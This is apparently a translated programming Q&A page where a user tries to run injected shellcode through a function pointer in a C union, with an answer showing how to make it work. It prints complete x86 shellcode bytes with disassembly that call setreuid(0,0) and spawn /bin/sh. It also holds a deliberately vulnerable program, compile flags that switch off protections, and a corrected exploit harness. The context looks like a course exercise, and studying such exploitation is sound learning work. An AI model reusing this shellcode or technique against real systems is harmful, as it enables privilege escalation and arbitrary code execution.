使用Union中存在的函数指针执行Shell代码

时间:2019-05-12 01:31:53

标签: c union function-pointers code-injection

我正在尝试将shell代码注入char缓冲区并使用函数指针执行它。字符串和函数指针都在联合中。以下是我尝试执行的Shell代码

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
 0: 31 c0            xor    eax, eax
 2: b0 46            mov    al, 0x46                   ; setreuid (70)
 4: 31 db            xor    ebx, ebx                   ; real uid
 6: 31 c9            xor    ecx, ecx                   ; effective uid
 8: cd 80            int    0x80                       ; setreuid(0, 0)
 a: eb 16            jmp    0x22                       ; jump to call at end
 c: 5b               pop    ebx                        ; get address of "/bin/sh"
 d: 31 c0            xor    eax, eax
 f: 88 43 07         mov    BYTE PTR[ebx + 0x7], al    ; zero terminate "/bin/sh"
12: 89 5b 08         mov    DWORD PTR[ebx + 0x8], ebx  ; + address of "/bin/sh"
15: 89 43 0c         mov    DWORD PTR[ebx + 0xc], eax  ; + NULL pointer
18: b0 0b            mov    al, 0x0b                   ; execve (11)
1a: 8d 4b 08         lea    ecx, [ebx + 0x8]           ; load argv (ptr to "/bin/sh")
1d: 8d 53 0c         lea    edx, [ebx + 0xc]           ; load envp (NULL)
20: cd 80            int    0x80                       ; execve("/bin/sh", "/bin/sh", NULL)
22: e8 e5 ff ff ff   call   0x0c                       ; push address on the stack
27:                  "/bin/sh"                         ;   and jump back
union array_or_function_pointer 
{
        char string[128];
        void (*callback)(void);
};

void trialversion()
{
    printf("This is a trial version. Please purchase the full version to enable all features!\n");
}


int main(int argc, char *argv[])
{
        FILE *fp;
        union array_or_function_pointer obj;
        fp = fopen(argv[1], "r");

        obj.callback = trialversion;
        obj.callback();
        fread(obj.string, 128, 1, fp);
        obj.callback();

        fclose(fp);
        return 0;
}

未执行Shell代码,并且出现了如下所示的段错误。我用过-z execstack

gcc -g -fno-stack-protector -z execstack sample.c -o sample

harsha@hv-XPS:~/ass6$ ./sample pass_junk.txt 
This is a trial version. Please purchase the full version to enable all features!
Segmentation fault (core dumped)

问题似乎是程序正在检查外壳程序代码中存在的地址

2 个答案:

答案 0 :(得分:1)

通常,将指向函数变量的指针实现为包含要调用的函数的第一条指令的地址的存储器。您是直接将指令放在obj中,而不是地址中。

要使这种测试利用发挥作用,您既需要将注入的指令放入内存中的某个位置,还要将包含这些指令的内存地址放入obj.callback中。但这是棘手的,因为大多数操作系统使用“地址空间布局随机化”来使得很难准确预测对象在堆栈中的位置。

答案 1 :(得分:1)

在shellcode的开头添加sizeof(void(*)())个虚拟字节(例如\x90\x90\x90\x90)。
然后:

#include <stdio.h>

union array_or_function_pointer
{
    char code[/* size */];
    void(*callback)(void);
};

void foo(void) { puts("foo()"); }

int main(int argc, char **argv)
{
    union array_or_function_pointer obj;
    obj.callback = foo;
    obj.callback();

    FILE *fp = fopen(argv[1], "rb");
    fread(obj.code, 1, /* size */, fp);
    fclose(fp);

    obj.callback = &obj.callback + 1;   // the code is located *behind*
    obj.callback();                    //  the pointer value.
}